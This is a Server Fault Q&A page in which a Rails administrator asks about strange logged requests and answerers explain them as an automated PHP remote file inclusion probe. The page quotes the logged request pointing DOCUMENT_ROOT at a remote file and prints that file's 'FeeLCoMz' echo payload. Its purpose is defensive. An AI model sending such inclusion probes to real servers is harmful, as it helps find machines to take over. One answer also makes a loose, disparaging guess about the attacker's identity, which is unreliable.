Take the 2-minute tour ×
Server Fault is a question and answer site for professional system and network administrators. It's 100% free, no registration required.

Lately I've been finding a lot of strange requests like this coming to my rails app:

Processing ApplicationController#index (for 189.30.242.61 at 2009-12-14 07:38:24) [GET]
  Parameters: {"_SERVER"=>{"DOCUMENT_ROOT"=>"http://www.usher.co.kr/bbs/id1.txt???"}}

ActionController::RoutingError (No route matches "/browse/brand/nike  ///" with {:method=>:get}):

It looks like it's automated as I get a lot of them and notice the strange parameters they're trying to send:

_SERVER"=>{"DOCUMENT_ROOT"=>"http://www.usher.co.kr/bbs/id1.txt???

Is this something malicious and if so what should I do about it?

share|improve this question

3 Answers 3

up vote 5 down vote accepted

If you open up the referenced document on the Korean server (I probably shouldn't have, but I did ;) it says:

<?php /* Fx29ID */ echo("FeeL"."CoMz"); die("FeeL"."CoMz"); /* Fx29ID */ ?>

Searching on the 'net, it looks like this is an exploit for either Joomla, Wordpress, and/or Firestats (different sites mention different targets). If you are running any of these, make sure to upgrade to the latest version.

More information here: http://urbanoalvarez.es/blog/2009/09/24/feelcomz-rfi/ and here: http://tech.sweetnam.eu/2009/06/firestats-wordpress-exploit/

share|improve this answer
    
Thanks! I'm running a rails application on a stable version of ruby. Despite this my server still went down. One of the ruby processes bulked up to 800mb before the server started swapping. I can't find anything in my logs to show what caused the process to hang. Either way I might be posting another question in regards to that shortly. Thanks for this! I thought it was bad news :) –  Jim Jeffers Dec 14 '09 at 12:33

That's not an exploit: it just tries to find vulnerable servers that allow replacing the $_SERVER['DOCUMENT_ROOT'] PHP variable.

That works like this: if the server is vulnerable, "FeeLCoMz" is printed to the page. It's detected by the script that sent the request, and the site is added to a database of servers which will soon become proud botnet members :)

share|improve this answer

The code Sean Earp pasted above is only a test code to see if your system is vulnerable or not. Then, If your system is vulnerable the main attack comes. Your system is under the attacker's control. The attacker makes your system an IRC server for his friends and shares all your files with others. or uses your system as a victim for attacking to other IP numbers. or deletes everything you have, or take out your passwords, or spoof your cliensts data etc. There is an article at Anatomy and dissecting of Remote Code Injection Attacks Examples of some real attack codes are given there.

I also followed for a period to find out who FeelComz is. What I found is a poor Indonesian kid playing day & night at irc sites. He has a personal page at an Indonesian site named Friendster. Seems that he is thanking for the aids you made to his country after the tsunami.

share|improve this answer

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.